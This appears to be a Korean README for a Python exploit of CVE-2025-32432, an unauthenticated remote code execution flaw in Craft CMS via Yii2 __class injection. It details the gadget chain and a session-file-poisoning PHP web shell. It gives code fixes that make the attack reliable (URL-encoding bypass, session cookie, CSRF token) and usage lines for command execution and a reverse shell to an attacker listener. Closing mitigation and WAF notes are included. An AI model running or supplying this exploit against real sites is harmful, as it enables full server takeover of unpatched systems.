
CVE-2025-32432에 대한 Python 익스플로잇으로, Yii2 __class 주입을 통한 Craft CMS의 인증되지 않은 RCE이며, 명령 실행 및 리버스 셸을 지원합니다.
심각도: 치명적 (CVSS 10.0) 인증 필요: 없음 영향 받는 버전: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 패치된 버전: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
AssetsController::actionGenerateTransform()은 allowAnonymous로 선언되어 있어 인증 없이 접근할 수 있습니다. 이 메서드는 사용자가 제어하는 handle 매개변수를 Yii::createObject()에 직접 전달합니다:
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
Yii의 DI 컨테이너는 허용 목록 없이 두 가지 특수 배열 키를 처리합니다:
| 키 | 동작 |
|---|---|
__class | 선언된 타입 대신 이 클래스를 인스턴스화 |
__construct() | 이 값들을 생성자 인수로 전달 |
가젯 체인:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
세션 파일 오염이 이 체인을 완성합니다: PHP의 세션 핸들러는 GET 매개변수 값을 /tmp/sess_<CraftSessionId>에 그대로 기록합니다. <?=shell_exec($_GET['cmd']);exit;?>를 쿼리 매개변수로 전송하면 실행 가능한 PHP 코드가 공격자가 제어하는 알려진 경로에 심어집니다.
Python의 requests 라이브러리는 <, >, ?, =를 서버에 도달하기 전에 URL 인코딩합니다. 세션 파일에는 <?php...(실행 가능) 대신 %3C%3Fphp...(무해함)가 저장됩니다.
# BROKEN — requests encodes < > ? = before they reach the server
requests.get(url, params={"a": "<?php system('id'); ?>"})
# Wire: GET /index.php?a=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
# Session file: a|s:30:"%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E";
해결책: TCP 소켓 쓰기 직전의 마지막 지점인 HTTPConnectionPool._make_request를 몽키 패치하고, 그곳에서 urllib.parse.unquote()를 호출합니다:
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before send
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
Craft CMS는 PHPSESSID가 아닌 CraftSessionId를 설정합니다.
# BROKEN
session_id = session.cookies.get("PHPSESSID") # -> None
# FIXED
session_id = sess.cookies.get("CraftSessionId")
Craft는 모든 비익명 POST 작업에 대해 CSRF 토큰을 검증합니다. 토큰을 생략하면 400 Bad Request가 발생합니다.
# BROKEN
requests.post(url, json=payload)
# FIXED
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a PHP reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (PHP avoids bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| 조치 | 세부 사항 |
|---|---|
| Craft CMS 업그레이드 | 3.9.15 / 4.14.15 / 5.6.17은 handle이 ImageTransformerInterface를 구현하는지 검증 |
| Yii2 업그레이드 | 2.0.50은 Component::__set에서 __class 주입을 차단 |
| WAF 규칙 | /actions/assets/generate-transform에 대한 요청 본문에서 __class 또는 __construct() 차단 |
허가된 보안 테스트 및 교육 목적으로만 사용하십시오.
| 문제 | 로그 오염 PoC | 세션 (잘못된 쿠키) | 세션 (CSRF 없음) | 이 PoC |
|---|
| URL 인코딩 | N/A (User-Agent) | BROKEN | BROKEN | FIXED 몽키 패치됨 |
| 쿠키 이름 | N/A | BROKEN PHPSESSID | BROKEN PHPSESSID | FIXED CraftSessionId |
| 트리거 시 CSRF | OK | OK | BROKEN | FIXED |
| 오래된 로그 종료; | BROKEN | N/A | N/A | N/A |
| /cms 접두사에서 작동 | BROKEN | BROKEN | BROKEN | FIXED |